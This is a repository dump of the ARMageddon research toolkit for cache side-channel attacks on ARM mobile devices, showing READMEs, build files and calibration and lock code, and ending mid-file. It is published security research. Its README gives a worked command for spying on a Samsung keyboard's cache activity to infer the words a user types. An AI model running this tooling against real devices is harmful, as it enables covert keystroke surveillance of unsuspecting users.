├── README.md ├── cache_template_attacks ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── cache_template_attack │ ├── calibrate.c │ ├── calibrate.h │ ├── configuration.h │ ├── lock.c │ ├── lock.h │ ├── main.c │ └── threads.h ├── colors.mk ├── common.mk ├── config-arm.mk ├── config-arm64.mk ├── config.mk └── images │ └── keyboard_sentence.png ├── eviction_strategy_evaluator ├── .gitignore ├── LICENSE ├── README.md ├── eviction_strategy_evaluator │ ├── __init__.py │ ├── build.py │ ├── config.py │ ├── evaluate.py │ ├── executor.py │ ├── log.py │ ├── main.py │ ├── source │ │ ├── Makefile │ │ └── main.c │ ├── strategy.py │ ├── templates │ │ └── strategy.jinja2 │ └── utils.py ├── setup.cfg └── setup.py ├── input_simulator ├── Makefile ├── README.md ├── colors.mk ├── common.mk ├── config-arm.mk ├── config-arm64.mk ├── config.mk └── input-simulator │ ├── key-mapping.c │ ├── key-mapping.h │ ├── main.c │ ├── simulator.c │ └── simulator.h └── libflush ├── .gitignore ├── Android.mk ├── Application.mk ├── LICENSE ├── Makefile ├── README.md ├── colors.mk ├── common.mk ├── config-arm.mk ├── config-arm64.mk ├── config.mk ├── doc ├── Doxyfile ├── Makefile ├── api.rst ├── conf.py ├── config.mk ├── example.rst ├── index.rst ├── installation.rst ├── requirements.txt └── usage.rst ├── example ├── .gitignore ├── Android.mk ├── Application.mk ├── Makefile ├── config-arm.mk ├── config.mk └── main.c ├── libflush.pc.in ├── libflush ├── armv7 │ ├── configuration.h │ ├── internal.h │ ├── libflush.c │ ├── libflush.h │ ├── memory.h │ └── timing.h ├── armv8 │ ├── flush.h │ ├── internal.h │ ├── libflush.c │ ├── libflush.h │ ├── memory.h │ └── timing.h ├── eviction │ ├── configuration.h │ ├── eviction.c │ ├── eviction.h │ └── strategies │ │ ├── alto45.h │ │ ├── bacon.h │ │ ├── default.h │ │ ├── hammerhead.h │ │ ├── mako.h │ │ ├── manta.h │ │ ├── tilapia.h │ │ └── zeroflte.h ├── internal.h ├── libflush.c ├── libflush.h ├── timing.c ├── timing.h ├── utils.c ├── version.h.in └── x86 │ ├── flush.h │ ├── libflush.h │ ├── memory.h │ └── timing.h └── tests ├── .gitignore ├── Makefile ├── config.mk ├── eviction.c ├── memory.c ├── prefetch.c ├── session.c ├── tests.c ├── timing.c └── utils.c /README.md: -------------------------------------------------------------------------------- 1 | # ARMageddon: Cache Attacks on Mobile Devices 2 | 3 | This repository contains several libraries and tools to perform cache-attacks on 4 | the mobile devices. The published code has been used to perform the most 5 | powerful cross-core cache attacks [Prime+Probe](https://eprint.iacr.org/2005/271.pdf), [Flush+Reload](https://eprint.iacr.org/2013/448.pdf), [Evict+Reload](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-gruss.pdf), [Flush+Flush](http://arxiv.org/abs/1511.04594) on non-rooted ARM-based devices without any privileges. 6 | 7 | We have developed this libraries and tools in the [ARMageddon: Cache Attacks on Mobile Devices](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) paper and used it to build covert-channels that outperform state-of-the-art covert channels on Android by several orders of magnitude. We utilized it to implement [cache template attacks](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-gruss.pdf) that monitor tap and swipe events as well as keystrokes, and even derive the words entered on the touchscreen. Moreover, we used it to attack cryptographic primitives in Java and to monitor cache activity in the ARM TrustZone from the normal world. 8 | 9 | The [ARMageddon: Cache Attacks on Mobile Devices](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) paper by Lipp, Gruss, Spreitzer, Maurice and Mangard has be published at the Usenix Security Symposium 2016 and presented at [Black Hat Europe 2016](https://www.blackhat.com/eu-16/briefings/schedule/index.html#armageddon-how-your-smartphone-cpu-breaks-software-level-security-and-privacy-4887). 10 | 11 | ## Repository Content 12 | 13 | | Project | Description | 14 | | -------- | ------------- | 15 | | [libflush](libflush) | Library to build cross-platform cache attacks | 16 | | [Cache Template Attacks](cache_template_attacks) | Cross-platform implementation of Cache Template Attacks | 17 | | [Eviction Strategy Evaluator](eviction_strategy_evaluator) | Find eviction strategy for your device | 18 | | [Input Simulator](input_simulator) | Simple tool to simulate touch events | 19 | 20 | ## References 21 | 22 | * [1] [ARMageddon: Cache Attacks on Mobile Devices - Lipp, Gruss, Spreitzer, Maurice, Mangard](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) 23 | * [2] [ARMageddon: How Your Smartphone CPU Breaks Software-Level Security and Privacy (Black Hat Europe 2016) - Lipp, Maurice](https://www.blackhat.com/eu-16/briefings/schedule/index.html#armageddon-how-your-smartphone-cpu-breaks-software-level-security-and-privacy-4887) 24 | -------------------------------------------------------------------------------- /cache_template_attacks/.gitignore: -------------------------------------------------------------------------------- 1 | # build files 2 | *.o 3 | *.do 4 | *.gcda 5 | *.gcno 6 | *.info 7 | *.pc 8 | *.sw[a-z] 9 | *.pyc 10 | 11 | # dist files 12 | template_attacks-*.tar.gz 13 | 14 | # patch files 15 | *.diff 16 | *.patch 17 | 18 | # build dirs 19 | .depend 20 | .tx 21 | build/ 22 | gcov/ 23 | doc/_build 24 | 25 | # version file 26 | version.h 27 | .version-checks/ 28 | 29 | # development files 30 | .clang_complete 31 | .lvimrc 32 | .ropeproject 33 | .frama-c 34 | compile_commands.json 35 | *.log 36 | -------------------------------------------------------------------------------- /cache_template_attacks/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015-2016 Moritz Lipp 2 | 3 | This software is provided 'as-is', without any express or implied 4 | warranty. In no event will the authors be held liable for any damages 5 | arising from the use of this software. 6 | 7 | Permission is granted to anyone to use this software for any purpose, 8 | including commercial applications, and to alter it and redistribute it 9 | freely, subject to the following restrictions: 10 | 11 | 1. The origin of this software must not be misrepresented; you must not 12 | claim that you wrote the original software. If you use this software 13 | in a product, an acknowledgment in the product documentation would be 14 | appreciated but is not required. 15 | 16 | 2. Altered source versions must be plainly marked as such, and must not be 17 | misrepresented as being the original software. 18 | 19 | 3. This notice may not be removed or altered from any source 20 | distribution. 21 | -------------------------------------------------------------------------------- /cache_template_attacks/Makefile: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | include config.mk 4 | include colors.mk 5 | include common.mk 6 | 7 | SOURCE = $(wildcard ${PROJECT}/*.c) 8 | 9 | ifneq ($(wildcard ${VALGRIND_SUPPRESSION_FILE}),) 10 | VALGRIND_ARGUMENTS += --suppressions=${VALGRIND_SUPPRESSION_FILE} 11 | endif 12 | 13 | OBJECTS = $(addprefix ${BUILDDIR_RELEASE}/,${SOURCE:.c=.o}) 14 | OBJECTS_DEBUG = $(addprefix ${BUILDDIR_DEBUG}/,${SOURCE:.c=.o}) 15 | 16 | ifeq "${ARCH}" "armv7" 17 | include config-arm.mk 18 | CPPFLAGS += -DARM_DEVICE 19 | endif 20 | 21 | ifeq "${ARCH}" "armv8" 22 | include config-arm64.mk 23 | CPPFLAGS += -D__ARM_ARCH_8A__ 24 | endif 25 | 26 | ifneq (${WITH_THREADS}, 0) 27 | CPPFLAGS += -DWITH_THREADS 28 | LIBS += -pthread 29 | endif 30 | 31 | ifneq (${WITH_ANDROID}, 0) 32 | CPPFLAGS += -DWITH_ANDROID 33 | endif 34 | 35 | all: options ${PROJECT} 36 | 37 | # pkg-config based version checks 38 | .version-checks/%: config.mk 39 | $(QUIET)test $($(*)_VERSION_CHECK) -eq 0 || \ 40 | ${PKG_CONFIG} --atleast-version $($(*)_MIN_VERSION) $($(*)_PKG_CONFIG_NAME) || ( \ 41 | echo "The minimum required version of $(*) is $($(*)_MIN_VERSION)" && \ 42 | false \ 43 | ) 44 | @mkdir -p .version-checks 45 | $(QUIET)touch $@ 46 | 47 | options: 48 | @echo ${PROJECT} build options: 49 | @echo "CFLAGS = ${CFLAGS}" 50 | @echo "LIBS = ${LIBS}" 51 | @echo "DFLAGS = ${DFLAGS}" 52 | @echo "CC = ${CC}" 53 | 54 | # release build 55 | 56 | ${OBJECTS}: config.mk .version-checks/LIBFLUSH 57 | 58 | ${BUILDDIR_RELEASE}/%.o: %.c 59 | $(call colorecho,CC,$<) 60 | @mkdir -p ${DEPENDDIR}/$(dir $@) 61 | @mkdir -p $(dir $(abspath $@)) 62 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} -o $@ $< -MMD -MF ${DEPENDDIR}/$@.dep 63 | 64 | ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT}: ${OBJECTS} 65 | $(call colorecho,CC,$@) 66 | @mkdir -p ${BUILDDIR_RELEASE}/${BINDIR} 67 | $(QUIET)${CC} ${SFLAGS} ${LDFLAGS} \ 68 | -o ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} ${OBJECTS} ${LIBS} 69 | 70 | ${PROJECT}: ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} 71 | 72 | release: ${PROJECT} 73 | 74 | run: release 75 | $(QUIET)./${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} 76 | 77 | # debug build 78 | 79 | ${OBJECTS_DEBUG}: config.mk .version-checks/LIBFLUSH 80 | 81 | ${BUILDDIR_DEBUG}/%.o: %.c 82 | $(call colorecho,CC,$<) 83 | @mkdir -p ${DEPENDDIR}/$(dir $@) 84 | @mkdir -p $(dir $(abspath $@)) 85 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} ${DFLAGS} \ 86 | -o $@ $< -MMD -MF ${DEPENDDIR}/$@.dep 87 | 88 | ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT}: ${OBJECTS_DEBUG} 89 | $(call colorecho,CC,$@) 90 | @mkdir -p ${BUILDDIR_DEBUG}/${BINDIR} 91 | $(QUIET)${CC} ${LDFLAGS} \ 92 | -o ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} ${OBJECTS_DEBUG} ${LIBS} 93 | 94 | debug: ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 95 | 96 | run-debug: debug 97 | $(QUIET)./${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 98 | 99 | # clean 100 | 101 | clean: 102 | $(QUIET)rm -rf \ 103 | ${BUILDDIR} \ 104 | ${DEPENDDIR} \ 105 | ${TARFILE} \ 106 | ${TARDIR} \ 107 | 108 | valgrind: debug 109 | $(QUIET)G_SLICE=always-malloc G_DEBUG=gc-friendly ${VALGRIND} ${VALGRIND_ARGUMENTS} \ 110 | ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 111 | 112 | gdb: debug 113 | $(QUIET)cgdb ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 114 | 115 | dist: clean 116 | $(QUIET)tar -czf $(TARFILE) --exclude=.gitignore \ 117 | --transform 's,^,${PROJECT}-$(VERSION)/,' \ 118 | `git ls-files` 119 | 120 | install: all 121 | $(call colorecho,INSTALL,"executeable file") 122 | $(QUIET)mkdir -m 755 -p ${DESTDIR}${PREFIX}/bin 123 | $(QUIET)install -m 755 ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} ${DESTDIR}${PREFIX}/bin 124 | 125 | uninstall: 126 | $(ECHO) removing executable file 127 | $(call colorecho,UNINSTALL,"executeable") 128 | $(QUIET)rm -f ${DESTDIR}${PREFIX}/bin/${PROJECT} 129 | 130 | DEPENDS = ${DEPENDDIRS:^=${DEPENDDIR}/}$(addprefix ${DEPENDDIR}/,${OBJECTS:.o=.o.dep}) 131 | -include ${DEPENDS} 132 | 133 | .PHONY: all options clean doc debug valgrind gdb dist install uninstall 134 | -------------------------------------------------------------------------------- /cache_template_attacks/README.md: -------------------------------------------------------------------------------- 1 | # Cache Template Attacks 2 | 3 | Cache Template Attacks is a platform-independent tool that utilizes [libflush](../libflush) to launch [cache template attacks](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-gruss.pdf) on x86 as well as ARMv7 and ARMv8 architecture. We used it to monitor tap and swipe events as well as keystrokes, and even derive the words entered on the touchscreen on mobile devices. 4 | 5 | The [ARMageddon: Cache Attacks on Mobile Devices](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) paper by Lipp, Gruss, Spreitzer, Maurice and Mangard has been published at the Usenix Security Symposium 2016 and presented at [Black Hat Europe 2016](https://www.blackhat.com/eu-16/briefings/schedule/index.html#armageddon-how-your-smartphone-cpu-breaks-software-level-security-and-privacy-4887). 6 | 7 | ## Table of content 8 | 9 | - [Installation](#installation) 10 | - [Dependencies](#dependencies) 11 | - [Build Configuration](#build-configuration) 12 | - [Usage](#usage) 13 | - [Example](#example) 14 | - [License](#license) 15 | - [References](#references) 16 | 17 | ## Installation 18 | 19 | The tool is shipped with a Makefile and can be compiled by running: 20 | ```bash 21 | make 22 | ``` 23 | 24 | The tool can be installed on the host system: 25 | ```bash 26 | make install 27 | ``` 28 | 29 | In addition we provide a debug build that can be initiated by calling `make debug`. 30 | 31 | ### Dependencies 32 | Cache Template Attacks utilizes libflush and, thus, this is the only dependency. 33 | 34 | * [libflush](../libflush) (required) 35 | 36 | However, by default it uses the toolchains provided by the Android NDK if built 37 | for _armv7_ or _armv8_. 38 | 39 | * [Android NDK](https://developer.android.com/ndk/index.html) - Android Native 40 | Development Kit (optional, for ARM builds) 41 | 42 | ## Build Configuration 43 | 44 | The build system makes use of several configuration files. The parameters can be adjusted by modifying the files accordingly or by passing them to make (`make ARCH=x86`). The most important properties are the following: 45 | 46 | * `ARCH`: Defines the target architecture. 47 | * _x86_ (default) - Support for _i386_ and _x86_64_ 48 | * _armv7_ - Support for ARMv7 49 | * _armv8_ - Support for ARMv8 50 | * `WITH_THREADS`: If the thread-based implementation should be used. 51 | * `WITH_ANDROID`: If it is build for an Android device and ashmem has to be used. 52 | 53 | If the library is build for the ARMv7 or the ARMv8 architecture the build system uses the [config-arm.mk](config-arm.mk) or [config-arm64.mk](config-arm64.mk) configuration file. By default the build system makes use of the toolchains provided by the [Android NDK](https://developer.android.com/ndk/index.html), thus its possible that the installation path of the NDK needs to be modified: 54 | 55 | * `ANDROID_NDK_PATH`: Path to the installation of the Android NDK. 56 | * _/opt/android-ndk_ (default) 57 | * `ANDROID_PLATFORM`: Defines the used Android platform that is used. 58 | * _android-21_ (default) 59 | 60 | If you prefer to use a different toolchain/compiler, feel free to change `CC` and other properties accordingly. 61 | 62 | ## Usage 63 | 64 | ```bash 65 | cache_template_attack [OPTIONS] 66 | ``` 67 | 68 | The following options are available: 69 | 70 | * **-r, -range** 71 | 72 | The range of addresses that should be scanned. 73 | (Example: *7f9783a000-7f9804d000*) 74 | 75 | * **-o, -offset** 76 | 77 | The offset where the scan process should start. 78 | (Example: *0x920000*) 79 | 80 | * **-f, -fork** 81 | 82 | The number of spy processes that should be created. 83 | (Default: *1*) 84 | 85 | * **-t, -threshold** 86 | 87 | The threshold that is used to distinguish between a cache hit and a cache 88 | miss. If no value has been passed, a calibration process will figure out a 89 | threshold. 90 | 91 | * **-n, -number-of-tests** 92 | 93 | The number of tests that are executed for each address. 94 | Default: *1000* 95 | 96 | * **-u, -offset-update-time** 97 | 98 | The time in seconds before the master thread will update the offset that is 99 | used to spy on. 100 | Default: *1* 101 | 102 | * **-c, -cpu** 103 | 104 | Bind to CPU. 105 | Default: *0* 106 | 107 | * **-s, -spy** 108 | 109 | If the tool should only spy on a single address that is defined by the 110 | offset parameter. 111 | 112 | * **-z, -show-timing** 113 | 114 | If the tool should print a timing information instead of the number of cache hits 115 | that it has detected. This is a convenient option to create traces of the 116 | usage over time. 117 | 118 | * **-l, -logfile** 119 | 120 | If the tool should log the results in form of a CSV file. 121 | 122 | * **-h, -help** 123 | 124 | Show the help information. 125 | 126 | ## Example 127 | 128 | As an example you can use this tool to find addresses of a keyboard that are 129 | triggered by certain events. For instance, you want to spy on the Samsung 130 | Keyboard that is the default keyboard on the Samsung Galaxy S6 and want to find 131 | addresses that are activated if the user presses any letter on the alphabet. 132 | 133 | By inspecting the ``/proc//maps`` file, one can get knowledge about which 134 | files are mapped by the victim process. In the above example, we find the 135 | following entries that describe a region of contiguous virtual memory mapped to 136 | the ``SamsungIMEv2.odex`` file: 137 | 138 | 7f971c6000-7f9783a000 r--p 00000000 08:0f 49066 /system/app/SamsungIMEv2/arm64/SamsungIMEv2.odex 139 | 7f9783a000-7f9804d000 r-xp 00674000 08:0f 49066 /system/app/SamsungIMEv2/arm64/SamsungIMEv2.odex 140 | 7f9804d000-7f9804e000 rw-p 00e87000 08:0f 49066 /system/app/SamsungIMEv2/arm64/SamsungIMEv2.odex 141 | 7faaee1000-7faaee2000 r--p 00000000 08:0f 49066 /system/app/SamsungIMEv2/arm64/SamsungIMEv2.odex 142 | 143 | We can use this information and pass it to our ``cache_template_attack`` tool: 144 | 145 | cache_template_attack -c 0 -r 7f9783a000-7f9804d000 -o 00674000 -t 230 -f 1 /system/app/SamsungIMEv2/arm64/SamsungIMEv2.odex 146 | 147 | In parallel we need to simulate the event by either manually pressing on the 148 | keyboard on the touchscreen or automating this process. 149 | 150 | If the spy process detects cache hits on the address it currently spies on, it 151 | will print it. In addition, you could save the file to a logfile which helps 152 | evaluating your results. 153 | 154 | 0x3d300 - 5 155 | 0x3d300 - 11 156 | 0x3d300 - 14 157 | 0x3d300 - 23 158 | 0x3d340 - 1 159 | 0x3d340 - 2 160 | 0x3d340 - 2 161 | 0x3d340 - 2 162 | 163 | If you have identified addresses that are triggered by certain events, you can 164 | use the tool to spy just on them. In our example. we identified an address 165 | that is triggered if the user pressed a letter on the screen and one that helps 166 | us to decide if he pressed the space bar. Using only those two addresses, we are 167 | now capable of deriving the length of the words the user typed into the phone: 168 | 169 | ![Spy on the Keyboard](./images/keyboard_sentence.png) 170 | 171 | ## License 172 | 173 | [Licensed](LICENSE) under the zlib license. 174 | 175 | ## References 176 | 177 | * [1] [ARMageddon: Cache Attacks on Mobile Devices (USENIX Security 2016) - Lipp, Gruss, Spreitzer, Maurice, Mangard](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) 178 | * [2] [ARMageddon: How Your Smartphone CPU Breaks Software-Level Security and Privacy (Black Hat Europe 2016) - Lipp, Maurice](https://www.blackhat.com/eu-16/briefings/schedule/index.html#armageddon-how-your-smartphone-cpu-breaks-software-level-security-and-privacy-4887) 179 | * [3] [Cache Template Attacks: Automating Attacks on Inclusive Last-Level Caches (USENIX Security 2015) - Gruss, Spreitzer, Mangard](https://www.usenix.org/node/191011) 180 | -------------------------------------------------------------------------------- /cache_template_attacks/cache_template_attack/calibrate.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #include "calibrate.h" 8 | 9 | #define MIN(a, b) ((a) > (b)) ? (b) : (a) 10 | 11 | uint64_t calibrate(libflush_session_t* libflush_session) 12 | { 13 | char buffer[4096] = {0}; 14 | void* address = &buffer[1024]; 15 | 16 | // Measure time it takes to access something from the cache 17 | size_t hit_histogram[CALIBRATION_HISTOGRAM_SIZE] = {0}; 18 | libflush_access_memory(address); 19 | 20 | for (unsigned int i = 0; i < CALIBRATION_HISTOGRAM_ENTRIES; i++) { 21 | uint64_t time = libflush_reload_address(libflush_session, address); 22 | hit_histogram[MIN(CALIBRATION_HISTOGRAM_SIZE - 1, time / CALIBRATION_HISTOGRAM_SCALE)]++; 23 | sched_yield(); 24 | } 25 | 26 | // Measure time it takes to access something from memory 27 | size_t miss_histogram[CALIBRATION_HISTOGRAM_SIZE] = {0}; 28 | for (unsigned int i = 0; i < CALIBRATION_HISTOGRAM_ENTRIES; i++) { 29 | uint64_t time = libflush_reload_address_and_flush(libflush_session, address); 30 | miss_histogram[MIN(CALIBRATION_HISTOGRAM_SIZE - 1, time / CALIBRATION_HISTOGRAM_SCALE)]++; 31 | sched_yield(); 32 | } 33 | 34 | // Get the maximum value of a cache hit and the minimum value of a cache miss 35 | size_t hit_maximum_index = 0; 36 | size_t hit_maximum = 0; 37 | 38 | size_t miss_minimum_index = 0; 39 | size_t miss_maximum = 0; 40 | size_t miss_maximum_index = 0; 41 | 42 | for (int i = 0; i < CALIBRATION_HISTOGRAM_SIZE; i++) { 43 | if (hit_maximum < hit_histogram[i]) { 44 | hit_maximum = hit_histogram[i]; 45 | hit_maximum_index = i; 46 | } 47 | 48 | if (miss_maximum < miss_histogram[i]) { 49 | miss_maximum = miss_histogram[i]; 50 | miss_maximum_index = i; 51 | } 52 | 53 | if (miss_histogram[i] > CALIBRATION_HISTOGRAM_THRESHOLD && miss_minimum_index == 0) { 54 | miss_minimum_index = i; 55 | } 56 | } 57 | 58 | uint64_t cache = hit_maximum_index * CALIBRATION_HISTOGRAM_SCALE; 59 | uint64_t mem = miss_maximum_index * CALIBRATION_HISTOGRAM_SCALE; 60 | uint64_t threshold = mem - (mem - cache) / 2; 61 | 62 | return threshold; 63 | } 64 | -------------------------------------------------------------------------------- /cache_template_attacks/cache_template_attack/calibrate.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef CALIBRATE_H 4 | #define CALIBRATE_H 5 | 6 | #include 7 | 8 | #define CALIBRATION_HISTOGRAM_SIZE 200 9 | #define CALIBRATION_HISTOGRAM_ENTRIES 100000 10 | #define CALIBRATION_HISTOGRAM_SCALE 5 11 | #define CALIBRATION_HISTOGRAM_THRESHOLD 100 12 | 13 | uint64_t calibrate(libflush_session_t* libflush_session); 14 | 15 | #endif /*CALIBRATE_H*/ 16 | -------------------------------------------------------------------------------- /cache_template_attacks/cache_template_attack/configuration.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef CONFIGURATION_H 4 | #define CONFIGURATION_H 5 | 6 | #define LOCK_ROUND_ROBIN 0 7 | #define BIND_TO_CPU 0 8 | #define NUMBER_OF_YIELDS 1 9 | #define OFFSET_UPDATE_TIME (0.5 * 1000 * 1000) 10 | #define NUMBER_OF_TESTS 1000 11 | #define SHOW_TIMING false 12 | 13 | #endif /*CONFIGURATION_H*/ 14 | -------------------------------------------------------------------------------- /cache_template_attacks/cache_template_attack/lock.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #define _GNU_SOURCE 4 | 5 | #include "configuration.h" 6 | #include "lock.h" 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #if LOCK_ROUND_ROBIN == 1 14 | static unsigned int fork_idx = 0; 15 | #endif 16 | 17 | inline void tal_init(lock_t* lock, lock_attr_t* attr) 18 | { 19 | /* Set attributes */ 20 | if (attr != NULL) { 21 | memcpy(&(lock->attr), attr, sizeof(lock_attr_t)); 22 | } 23 | 24 | #ifdef WITH_POSIX_THREAD_PROCESS_SHARED 25 | if (pthread_mutexattr_init(&(lock->mtx_attr)) != 0) { 26 | fprintf(stderr, "Error: Could not init mutexattr\n"); 27 | } 28 | 29 | if (pthread_mutexattr_setpshared(&(lock->mtx_attr), PTHREAD_PROCESS_SHARED) != 0) { 30 | fprintf(stderr, "Error: Could not set pshared\n"); 31 | } 32 | 33 | if (pthread_mutex_init(&(lock->mtx), &(lock->mtx_attr)) != 0) { 34 | fprintf(stderr, "Error: Could not initalize mutex\n"); 35 | } 36 | #else 37 | #if LOCK_ROUND_ROBIN == 1 38 | fork_idx = attr->fork_idx; 39 | lock->current_idx = fork_idx; 40 | #else 41 | atomic_flag_clear(&(lock->cat)); 42 | #endif 43 | #endif 44 | } 45 | 46 | inline void tal_lock(lock_t* lock) 47 | { 48 | #ifdef WITH_POSIX_THREAD_PROCESS_SHARED 49 | if (pthread_mutex_lock(&(lock->mtx)) != 0) { 50 | fprintf(stderr, "Error: Could not lock\n"); 51 | } 52 | #else 53 | #if LOCK_ROUND_ROBIN == 1 54 | while (lock->current_idx != fork_idx) { 55 | sched_yield(); 56 | } 57 | #else 58 | while (atomic_flag_test_and_set(&lock->cat)) { 59 | sched_yield(); 60 | }; 61 | #endif 62 | #endif 63 | } 64 | 65 | inline void tal_unlock(lock_t* lock) 66 | { 67 | #ifdef WITH_POSIX_THREAD_PROCESS_SHARED 68 | if (pthread_mutex_unlock(&(lock->mtx)) != 0) { 69 | fprintf(stderr, "Error: Could not unlock\n"); 70 | } 71 | #else 72 | #if LOCK_ROUND_ROBIN == 1 73 | lock->current_idx = (fork_idx + 1) % lock->attr.number_of_forks; 74 | sched_yield(); 75 | #else 76 | atomic_flag_clear(&(lock->cat)); 77 | sched_yield(); 78 | #endif 79 | #endif 80 | } 81 | -------------------------------------------------------------------------------- /cache_template_attacks/cache_template_attack/lock.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef LOCK_H 4 | #define LOCK_H 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #include "configuration.h" 11 | 12 | #ifdef WITH_POSIX_THREAD_PROCESS_SHARED 13 | #ifndef _POSIX_THREAD_PROCESS_SHARED 14 | #error This system does not support process shared mutex 15 | #endif 16 | #endif 17 | 18 | typedef struct lock_attr_s { 19 | #if LOCK_ROUND_ROBIN == 1 20 | unsigned int number_of_forks; 21 | unsigned int fork_idx; 22 | #else 23 | void* x; 24 | #endif 25 | } lock_attr_t; 26 | 27 | typedef struct lock_s { 28 | #ifdef WITH_POSIX_THREAD_PROCESS_SHARED 29 | pthread_mutex_t mtx; 30 | pthread_mutexattr_t mtx_attr; 31 | #else 32 | #if LOCK_ROUND_ROBIN == 1 33 | atomic_uint current_idx; 34 | #else 35 | volatile atomic_flag cat; 36 | #endif 37 | 38 | lock_attr_t attr; 39 | #endif 40 | } lock_t; 41 | 42 | void tal_init(lock_t* lock, lock_attr_t* attr); 43 | void tal_lock(lock_t* lock); 44 | void tal_unlock(lock_t* lock); 45 | 46 | #endif /*LOCK_H*/ 47 | -------------------------------------------------------------------------------- /cache_template_attacks/cache_template_attack/threads.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef THREADS_H 4 | #define THREADS_H 5 | 6 | #include 7 | 8 | typedef enum thread_type_e { 9 | THREAD_FLUSH_AND_RELOAD, 10 | THREAD_FLUSH 11 | } thread_type_t; 12 | 13 | typedef struct thread_data_s { 14 | thread_type_t type; 15 | uint8_t* m; 16 | size_t range; 17 | uint64_t threshold; 18 | size_t offset; 19 | size_t cpu_id; 20 | bool spy; 21 | size_t number_of_tests; 22 | useconds_t offset_update_time; 23 | bool show_timing; 24 | FILE* logfile; 25 | libflush_session_t* libflush_session; 26 | } thread_data_t; 27 | 28 | #endif /*THREADS_H*/ 29 | -------------------------------------------------------------------------------- /cache_template_attacks/colors.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | ifeq ($(COLOR),1) 4 | # GCC diagnostics colors 5 | DIAGNOSTICS_COLOR_AVAILABLE ?= $(shell ($(CC) -fdiagnostics-color=always -E - /dev/null 2>/dev/null && echo 1) || echo 0) 6 | ifeq ($(DIAGNOSTICS_COLOR_AVAILABLE),1) 7 | CPPFLAGS += -fdiagnostics-color=always 8 | endif 9 | 10 | # colorful output 11 | TPUT ?= /usr/bin/tput 12 | TPUT_AVAILABLE ?= $(shell ${TPUT} -V 2>/dev/null) 13 | 14 | ifdef TPUT_AVAILABLE 15 | COLOR_NORMAL = `$(TPUT) sgr0` 16 | COLOR_ACTION = `$(TPUT) bold``$(TPUT) setaf 3` 17 | COLOR_COMMENT = `$(TPUT) bold``$(TPUT) setaf 2` 18 | COLOR_BRACKET = `$(TPUT) setaf 4` 19 | define colorecho 20 | @echo $(COLOR_BRACKET)" ["$(COLOR_ACTION)$1$(COLOR_BRACKET)"] "$(COLOR_COMMENT)$2$(COLOR_BRACKET) $(COLOR_NORMAL) 21 | endef 22 | else 23 | define colorecho 24 | @echo " [$1]" $2 25 | endef 26 | endif 27 | else 28 | define colorecho 29 | @echo " [$1]" $2 30 | endef 31 | endif 32 | -------------------------------------------------------------------------------- /cache_template_attacks/common.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | ifeq "$(VERBOSE)" "0" 4 | ECHO=@echo 5 | QUIET=@ 6 | else 7 | ECHO=@\# 8 | QUIET= 9 | endif 10 | -------------------------------------------------------------------------------- /cache_template_attacks/config-arm.mk: -------------------------------------------------------------------------------- 1 | # Define Android specific variables 2 | ANDROID_NDK_PATH = /opt/android-ndk 3 | ANDROID_TOOLCHAIN_BIN = ${ANDROID_NDK_PATH}/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin 4 | ANDROID_SYSROOT = ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm 5 | 6 | ANDROID_CC = ${ANDROID_TOOLCHAIN_BIN}/arm-linux-androideabi-gcc 7 | ANDROID_CC_FLAGS = --sysroot=${ANDROID_SYSROOT} 8 | 9 | ANDROID_INCLUDES = -I ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm/usr/include 10 | ANDROID_CFLAGS = ${ANDROID_INCLUDES} -march=armv7-a -fPIE 11 | ANDROID_LDFLAGS = ${ANDROID_INCLUDES} -march=armv7-a -fPIE 12 | 13 | CC = ${ANDROID_CC} ${ANDROID_CC_FLAGS} 14 | CFLAGS += ${ANDROID_CFLAGS} 15 | LDFLAGS += -pie 16 | -------------------------------------------------------------------------------- /cache_template_attacks/config-arm64.mk: -------------------------------------------------------------------------------- 1 | # Define Android specific variables 2 | ANDROID_NDK_PATH = /opt/android-ndk 3 | ANDROID_TOOLCHAIN_BIN = ${ANDROID_NDK_PATH}/toolchains/aarch64-linux-android-4.9/prebuilt/linux-x86_64/bin 4 | ANDROID_SYSROOT = 